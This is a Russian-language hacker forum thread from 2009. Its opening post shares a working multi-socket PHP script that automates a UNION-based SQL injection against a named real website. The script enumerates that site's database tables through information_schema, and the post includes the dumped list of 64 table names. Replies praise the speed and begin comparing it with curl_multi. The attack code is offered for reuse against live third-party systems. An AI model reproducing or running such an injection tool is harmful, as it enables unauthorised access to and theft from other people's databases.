php fsockopen multithread + SQL-injection

Discussion in 'Уязвимости' started by Pashkela, 31 Aug 2009.

  1. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Нарыл в интернете один скрипт интересный, в принципе переделал некоторые существенные детали и приспособил под некоторые нужды. Ниже будет приведен пример использования наверное всё-таки псевдомультипоточности в PHP на примерe sql-inj, если точнее, получение списка таблиц из informations_schema.tables в количестве 64 штук на примере одной sql-инъекции из наших sql-инъекций.

    Скрипт работает значительно быстрее, нежели просто через fscockopen в цикле, насколько быстрее и быстрее ли curl_multi_init - не проверял. Протестен на WIN XP SP2 на denwer (время работы 13 сек) и в bamcompile1.21 (время работы 14), все 64 таблички выявил и записал в файлик за 13 секунд (лучший результат), т.е 64 запроса за 13 секунд ~ 4,92 запросов в секунду - на моей в принципе уже древней тачке и инете 4 мбит/сек:

    PHP:
    <?php
    function getmicrotime()  
    {  
        list(
    $usec$sec) = explode(" "microtime());  
        return ((float)
    $usec + (float)$sec);  
    }  
    $bb fopen('123.txt','w'); 
    // Создаем массив с ссылками (пример простой, нам заранее известно, что в данной БД 64 таблицы, демонстрация работы)
    for ($z 0;$z<64;$z++) {
      
    $links_array[] = "rockgallery/index.php?id=-8+union+select+1,2,3,CONCAT(0x3c73716c3e,table_name,0x3c2f73716c3e),5,6+from+information_schema.tables+limit+"$z ",1--";
    }  
    $host='artecapital.net'// наш хост
    $max_threads 50// максимальное количество потоков
    $threads = array(); // тут будем держать открытые потоки
    $a "";
    $socket_timeout 3600
    $done false;
    reset($links_array);
    $start getmicrotime();
    while(!
    $done) {
        
    // если количество запущенных потоков меньше максимального
        
    if(count($threads) < $max_threads)    {
            
    // получаем очередную ссылку
            
    if($link=current($links_array)) {
                
    // открываем сокет и формируем заголовок
                
    $socket fsockopen($host80);
                
    $url="http://".$host "/" $link;
                
    fputs($socket"GET $url \r\n");
                
    fputs($socket"Host: $host\r\n");
                
    fputs($socket"\r\n");
                
    stream_set_blocking($socket0);
                
    stream_set_timeout($socket$socket_timeout);
                
    // запоминаем запущенный сокет
                
    $threads[] = $socket;
                
    // переходим к следующей ссылке
                
    next($links_array);
            }
        }
        foreach (
    $threads as $key=>$socket) {
              if(
    feof($socket)) {
                    
    // если поток отработал, убираем его
                    
    $a "";
                    
    fclose($socket);
                    unset(
    $threads[$key]);
              } else {
                  
    $a.= fgets($socket,4096);
                  if (
    preg_match("#<[\s]*sql[\s]*>([^<]*)<[\s]*/sql[\s]*>#i",$a,$res)) {
                     
    $i++;
               
    fwrite ($bb,$i ":" $res[1] . "\r\n");
               
    //echo $res[1] . "\n";
               
    $a "";
               
    fclose($socket);
                     unset(
    $threads[$key]);
            }
          }
        }
        
    // Тут типо пауза, если вдруг понадобится
        //sleep(1);
        
    if (count($threads) == 0$done true;
    }
    $end getmicrotime(); 
    fwrite($bb"--------------------------------------\r\n");
    fwrite($bb"Time start: " date('H:i:s',$start)."\r\n");  
    fwrite($bb"Time end: "date('H:i:s',$end)."\r\n");  
    $w round(($end $start),0);  
    fwrite($bb"Execute time: ".gmdate('H:i:s',$w));  
    fclose ($bb);
    echo 
    "Done, saved in 123.txt";
    ?>
    Результат работы скрипта:

    Code:
    1:CHARACTER_SETS
    2:COLLATIONS
    3:COLLATION_CHARACTER_SET_APPLICABILITY
    4:COLUMNS
    5:COLUMN_PRIVILEGES
    6:KEY_COLUMN_USAGE
    7:PROFILING
    8:ROUTINES
    9:SCHEMATA
    10:SCHEMA_PRIVILEGES
    11:STATISTICS
    12:TABLES
    13:TABLE_CONSTRAINTS
    14:TABLE_PRIVILEGES
    15:TRIGGERS
    16:USER_PRIVILEGES
    17:VIEWS
    18:art_actividades
    19:art_actividades_tipos
    20:art_arq_des
    21:art_arq_des_imgs
    22:art_artistas
    23:art_banners
    24:art_cidades
    25:art_criticas
    26:art_criticas_imgs
    27:art_dados
    28:art_dados_imgs
    29:art_destaques
    30:art_entrevistas
    31:art_entrevistas_imgs
    32:art_estado_arte
    33:art_estado_arte_imgs
    34:art_estatisticas
    35:art_estatisticas_tipos
    36:art_eventos
    37:art_eventos_tipos
    38:art_exposicoes
    39:art_fotografia
    40:art_fotografia_imgs
    41:art_locais
    42:art_locais_tipos
    43:art_moda
    44:art_moda_imgs
    45:art_newsletter_rec
    46:art_newsletter_sub
    47:art_noticias
    48:art_opinioes
    49:art_opinioes_imgs
    50:art_paises
    51:art_perspectivas
    52:art_perspectivas_imgs
    53:art_plataforma
    54:art_plataforma_imgs
    55:art_pub_entidades
    56:art_pub_not_imgs
    57:art_pub_noticias
    58:art_recomendacoes
    59:art_recomendacoes_eventos
    60:art_recomendacoes_eventos_imgs
    61:art_recomendacoes_imgs
    62:art_rockgallery
    63:art_rockgallery_imgs
    64:art_utilizadores
    --------------------------------------
    Time start: 03:31:17
    Time end: 03:31:30
    Execute time: 00:00:13
    
    просьба сравнить с ЛЮБЫМИ другими аналогами реализации многопоточности на php и поделиться результатами. Ну и ваша, несомненно полезная, критика, приветствуется.

    PS: Нагрузка на систему и потребление памяти на WIN XP SP2 вообще не заметно практически
     
    3 people like this.
  2. FriLL

    FriLL Member

    Joined:
    14 Sep 2008
    Messages:
    90
    Likes Received:
    24
    Reputations:
    8
    Проверил на локалке, довольно неплохо
     
  3. wildshaman

    wildshaman Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    477
    Likes Received:
    483
    Reputations:
    99
    2 мегабита, класс с curl_multi_init: